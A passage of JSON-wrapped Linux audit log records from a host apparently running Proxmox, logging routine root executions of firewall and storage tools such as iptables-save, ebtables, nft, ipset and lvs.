ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150586,"@rawstring":"node=pve type=PATH msg=audit(1781966150.586:68654): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.021:65392): proctitle=\"ip6tables-save\""} {"@timestamp":1781964635758,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.758:61908): arch=c000003e syscall=59 success=yes exit=0 a0=5aa30b476ac8 a1=7ffdc8f20490 a2=5aa311fb2680 a3=5aa30b45a24e items=2 ppid=59400 pid=59402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150586,"@rawstring":"node=pve type=PATH msg=audit(1781966150.586:68653): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.015:65391): proctitle=\"iptables-save\""} {"@timestamp":1781964635757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.757:61907): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdc8f20450 a1=5aa311fd43d0 a2=5aa311fb2680 a3=5 items=2 ppid=59400 pid=59401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=PATH msg=audit(1781966150.577:68652): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.011:65390): proctitle=\"ebtables-restore\""} {"@timestamp":1781964635753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.753:61905): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59400 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=PATH msg=audit(1781966150.577:68652): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.009:65389): proctitle=\"ebtables-restore\""} {"@timestamp":1781964635747,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.747:61904): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=PATH msg=audit(1781966150.577:68651): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386003,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.003:65388): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964635741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.741:61903): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=PATH msg=audit(1781966150.577:68650): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.999:65387): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964635734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.734:61902): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59397 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145789,"@rawstring":"node=pve type=PATH msg=audit(1781966145.789:68649): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.993:65386): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964635728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.728:61901): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59396 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145789,"@rawstring":"node=pve type=PATH msg=audit(1781966145.789:68649): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.987:65385): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964635725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.725:61900): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5fe09899b740 items=0 ppid=1156 pid=59395 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966145785,"@rawstring":"node=pve type=PATH msg=audit(1781966145.785:68648): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.983:65384): proctitle=697073657400726573746F7265"} {"@timestamp":1781964635723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.723:61899): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc12fd50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59395 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145785,"@rawstring":"node=pve type=PATH msg=audit(1781966145.785:68648): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385974,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.974:65383): proctitle=\"ip6tables-save\""} {"@timestamp":1781964635717,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.717:61898): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ea850 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59394 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145784,"@rawstring":"node=pve type=PATH msg=audit(1781966145.784:68647): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.967:65382): proctitle=\"iptables-save\""} {"@timestamp":1781964635712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.712:61897): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc100c90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59393 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145784,"@rawstring":"node=pve type=PATH msg=audit(1781966145.784:68647): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.964:65381): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964635707,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.707:61896): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d76c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145784,"@rawstring":"node=pve type=PATH msg=audit(1781966145.784:68646): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.961:65380): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964635701,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.701:61895): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc100c90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145778,"@rawstring":"node=pve type=PATH msg=audit(1781966145.778:68645): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.959:65379): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964635697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.697:61894): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145778,"@rawstring":"node=pve type=PATH msg=audit(1781966145.778:68645): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.959:65378): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964635690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.690:61893): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145778,"@rawstring":"node=pve type=PATH msg=audit(1781966145.778:68645): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.955:65377): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964635684,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.684:61892): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145768,"@rawstring":"node=pve type=PATH msg=audit(1781966145.768:68644): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.949:65376): proctitle=\"ip6tables-save\""} {"@timestamp":1781964635681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.681:61891): arch=c000003e syscall=59 success=yes exit=0 a0=5a321cb22e50 a1=5a321cb1fbd0 a2=5a321cb01680 a3=5 items=2 ppid=59381 pid=59387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145768,"@rawstring":"node=pve type=PATH msg=audit(1781966145.768:68644): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.941:65375): proctitle=\"iptables-save\""} {"@timestamp":1781964635678,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.678:61890): arch=c000003e syscall=59 success=yes exit=0 a0=5a3214140ac8 a1=7ffdbe74f4b0 a2=5a321cb01680 a3=5a321412424e items=2 ppid=59381 pid=59383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145760,"@rawstring":"node=pve type=PATH msg=audit(1781966145.760:68643): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385937,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.937:65374): proctitle=69707365740073617665"} {"@timestamp":1781964635676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.676:61889): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdbe74f470 a1=5a321cb08310 a2=5a321cb01680 a3=5 items=2 ppid=59381 pid=59382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145760,"@rawstring":"node=pve type=PATH msg=audit(1781966145.760:68643): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.929:65373): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964635672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.672:61887): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59381 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145752,"@rawstring":"node=pve type=PATH msg=audit(1781966145.752:68642): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385920,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965385.920:65372): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964635665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.665:61886): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59380 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145752,"@rawstring":"node=pve type=PATH msg=audit(1781966145.752:68642): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965384782,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965384.782:65371): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964635659,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.659:61885): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145743,"@rawstring":"node=pve type=PATH msg=audit(1781966145.743:68641): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965384754,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965384.754:65370): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964635653,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.653:61884): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4fbb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145743,"@rawstring":"node=pve type=PATH msg=audit(1781966145.743:68641): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965382.821:65369): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964635645,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.645:61883): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139ec0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145737,"@rawstring":"node=pve type=PATH msg=audit(1781966145.737:68639): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965382.821:65368): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964635637,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.637:61882): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1385e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145737,"@rawstring":"node=pve type=PATH msg=audit(1781966145.737:68639): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965382.821:65367): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.105:61881): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145730,"@rawstring":"node=pve type=PATH msg=audit(1781966145.730:68638): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382811,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965382.811:65366): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.097:61878): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145730,"@rawstring":"node=pve type=PATH msg=audit(1781966145.730:68638): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382811,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965382.811:65365): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964634226,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964634.226:61875): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382870 a1=64f8d740c510 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59371 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145720,"@rawstring":"node=pve type=PATH msg=audit(1781966145.720:68637): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382811,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965382.811:65364): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964634184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964634.184:61874): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1a4ccf0 a1=64f8d73dff10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59370 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145720,"@rawstring":"node=pve type=PATH msg=audit(1781966145.720:68637): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965380237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965380.237:65363): proctitle=\"clear\""} {"@timestamp":1781964630090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964630.090:61873): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145714,"@rawstring":"node=pve type=PATH msg=audit(1781966145.714:68636): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 